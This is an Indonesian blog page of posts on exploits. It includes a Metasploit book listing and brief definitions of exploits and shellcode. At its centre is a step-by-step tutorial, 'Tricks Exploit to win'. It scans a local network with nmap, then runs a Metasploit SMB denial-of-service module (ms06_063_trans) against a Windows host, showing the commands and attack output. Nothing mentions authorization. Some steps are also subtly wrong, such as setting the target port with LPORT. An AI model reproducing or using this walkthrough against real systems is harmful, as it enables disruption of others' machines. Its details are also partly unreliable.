Tampilkan postingan dengan label Expoit. Tampilkan semua postingan
Tampilkan postingan dengan label Expoit. Tampilkan semua postingan
Rabu, 15 Februari 2012
Metasploit Toolkit for Penetration Testing, Exploit Development, and Vulnerability Research
Metasploit Toolkit for Penetration Testing, Exploit Development, and Vulnerability Research By David Maynor
Publisher: Syngress 2007 | 350 Pages | ISBN: 1597490741 | File type: PDF | 4 mb
Ini adalah buku pertama yang tersedia untuk Metasploit Framework (MSF), yang merupakan platform serangan pilihan untuk salah satu karir yang paling cepat berkembang di IT keamanan: Pengujian Penetrasi. Buku dan situs Web akan menyediakan pendamping penguji penetrasi profesional dan peneliti keamanan dengan suite terintegrasi alat untuk menemukan, berjalan, dan pengujian kode eksploit.
Sabtu, 11 Februari 2012
Tricks Exploit to win
Dan kali ini saya akan menjelaskan dan menjalankan script explot yang saya sudah sering saya lakukan, dan apa saja yang dibutuhkan untuk menjalankan scriptnya adalah sebagai berikut :
1. Nmap
2. Metasploit
Caranya sebagai berikut :
1. Nmap
2. Metasploit
Caranya sebagai berikut :
1. buka terminal ketik : $ nmap (ip target)/24 *untuk scan ip dan port yang terbuka
Ex: $ nmap 192.168.1.1/24
Hasilnya:
Starting Nmap 5.61TEST2 ( http://nmap.org ) at 2011-12-19 23:48 WIT
Nmap scan report for 192.168.1.1
Host is up (0.0011s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE
21/tcp open ftp
23/tcp open telnet
80/tcp open http
MAC Address: 54:E6:FC:B5:F5:C7 (Tp-link Technologies CO.)
Nmap scan report for 192.168.1.2
Host is up (0.00034s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 00:0D:9D:9E:E3:5E (Hewlett-Packard Company)
Nmap scan report for 192.168.1.3
Host is up (0.00034s latency).
All 1000 scanned ports on 192.168.1.3 are filtered
MAC Address: 00:30:18:00:4A:A4 (Jetway Information Co.)
Nmap scan report for 192.168.1.4
Host is up (0.000013s latency).
Not shown: 999 closed ports
PORT STATE SERVICE
23/tcp open telnet
Nmap done: 256 IP addresses (4 hosts up) scanned in 20.20 seconds
2. selanjutnya ketik : $ msfconsole *untuk buka metasploit
3. lalu ketik : $ use dos/windows/smb/ms06_063_trans *untuk membuka settingannya kalo ga salah
Ex: msf> use dos/windows/smb/ms06_063_trans
4. lalu ketik : auxiliary(ms06_063_trans) > set LPORT (masukkan port hasil scan yang tadi)
Ex: set LPORT 445
5. lalu ketik : auxiliary(ms06_063_trans) > set RHOST (masukkan ip target)
Ex: set RHOST 192.168.1.2
6. terakhir ketik : auxiliary(ms06_063_trans) > exploit
Hasilnya:
[*] Connecting to the target system...
[*] Sending bad SMB transaction request 1...
[*] Sending bad SMB transaction request 2...
[*] Sending bad SMB transaction request 3...
[*] Sending bad SMB transaction request 4...
[*] Sending bad SMB transaction request 5...
[*] Auxiliary module execution completed
Jumat, 10 Februari 2012
Penertian Shell Code
Shellcode adalah kode yang digunakan dengan payload untuk mengeksploitasi komputer target. Biasanya shellcode dibuat untuk dapat mengontrol komputer, ataupun mendapatkan hak akses komputer target, atau yang lainnya. Shellcode dimasukkan kedalam kode exploit dengan tujuan membaypass fungsi suatu software, sehingga software tersebut tidak berjalan secara semestinya, melainkan menjalankan fungsi pada Shellcod
Pengertian Exploit Part II
Exploit adalah sebuah kode yang menyerang keamanan_komputer secara spesifik. Exploit banyak digunakan untuk penentrasi baik secara legal ataupun ilegal untuk mencari kelemahan (Vulnerability) pada komputer tujuan. Bisa juga dikatakan sebuah perangkat lunak yang menyerang kerapuhan keamanan (security vulnerability) yang spesifik namun tidak selalu bertujuan untuk melancarkan aksi yang tidak diinginkan. Banyak peneliti keamanan komputer menggunakan exploit untuk mendemonstrasikan bahwa suatu sistem memiliki kerapuhan.
Pengertian Exploit Part 1
kali ini saya akan menjelaskan tentang pengertian exploit, nah mari simak aja penjelasannya
Exploit adalah sebuah kode yang menyerang keamanan komputer secara spesifik. Exploit banyak digunakan untuk penentrasi baik secara legal ataupun ilegal untuk mencari kelemahan(Vulnerability) pada komputer tujuan. Biasanya exploit mencari kelemahan dari variabel null ataupun variabel yang tidak terdefinisi untuk dimasukkan nilai lain sehingga terjadi error dan tidak membaca prosedur program seperti seharusnya, sehingga shellcode dapat dimasukkan untuk melaksanakan perintah atau command lainnya. Exploit biasa disisipi dengan shellcode.
Langganan:
Postingan (Atom)
:.
